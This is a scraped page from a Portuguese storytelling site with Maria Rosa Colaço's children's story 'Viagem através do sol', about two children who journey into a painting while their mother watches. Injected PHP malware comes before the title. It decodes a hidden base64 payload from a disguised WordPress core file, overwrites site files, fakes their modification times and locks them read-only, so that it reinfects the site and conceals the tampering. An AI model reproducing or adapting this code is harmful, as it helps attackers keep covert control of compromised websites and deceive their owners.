$wp_update_file="/home/defaultwebsite/public/wp-includes/Text/Diff/Engine/filters.php"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } Viagem através do sol | Casa do Contador de Historias
Viagem através do sol - Maria Rosa Colaço

Viagem através do sol

Uma criança sentou-se na tarde agreste e pintou o sol. A sala onde a criança estava ficou iluminada e fresca. Depois, a criança misturou as tintas, a água, o sonho e, num grande cartão, lentamente, foi erguendo prados, lezírias, florestas, aves, flores inesperadas. Então, chamou a irmã que a um canto assistia à criação deste mundo original e disse:

-Vamos fazer uma viagem!

E entraram os dois com seus olhos e sua imaginação pela tela dentro, alheios ao espanto de quem os contemplava nesse itinerário súbito da tarde de frio.

Misteriosamente, trocavam palavras de silêncio, encontravam-se com anões, gigantes e animais estranhíssimos, metade homens, metade bichos que, ora os assustavam, ora os desvaneciam.

A certa altura a menina disse:

– Vamos chamar a mamãe?

E o menino respondeu:

– Não podemos. É muito alta. Não cabe nestes caminhos: ia pisar tudo e estes bichinhos ficavam tristes. Muito tristes.

A mãe, imóvel numa cadeira, ali mesmo à entrada desse lugar impenetrável e inacessível, ouvia o diálogo e tentava fazer-se pequenina para ir com eles. Mas não conseguia. Esforçava-se imenso e não conseguia. Tinha uma grande vontade de chorar por estar ali sozinha à beira daquele milagre mas as lágrimas não lhe adiantavam. Entretanto, os meninos, sempre a caminhar, tinham chegado ao mar. Era um mar sem abismos, sem ondas, sem temporais. Um mar susceptível de ser atravessado pelos pés levíssimos de quem o descobria.

– Vamos ao fundo deste mar! – disse a menina.

– Cá em cima é mais fresco. Lá em baixo há peixes grandes e escuros. Mordem, os peixes.

– E a mamã? – insistia a menina, já perturbada pela lonjura a que devia estar de casa, perturbada pelo bibe molhado, aflita com as algas verdes que se lhe colavam ao rosto.

– Levamos-lhe uma flor do mar. Ela fica contente se tem uma flor.

– Vamos já embora? – tornava a menina.

– Não. Só quando formos muiiiiiiito velhos.

A menina calou-se. Estava séria. Estendeu-se ao lado do irmão na areia branca daquela praia tranquila e distante.

Sentia-se muito cansada e adormeceu.

Então, amorosamente, o irmão tapou-a de folhas e flores imaginárias e ficou ali a velar-lhe o sorriso.

Quando reparou na mãe, estremeceu ligeiramente. Tinha os olhos brilhantes e, dos cabelos, escorria-lhe um perfume do sol e azul.

Sobre a tela, encostada a um armário, a noite começava a diluir em sombra toda a floresta, e o dorso dos animais marinhos erguia-se também numa respiração tranquila.

Autor: Maria Rosa Colaço

Lisboa, Ed. Escritor, 1996

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Rolar para cima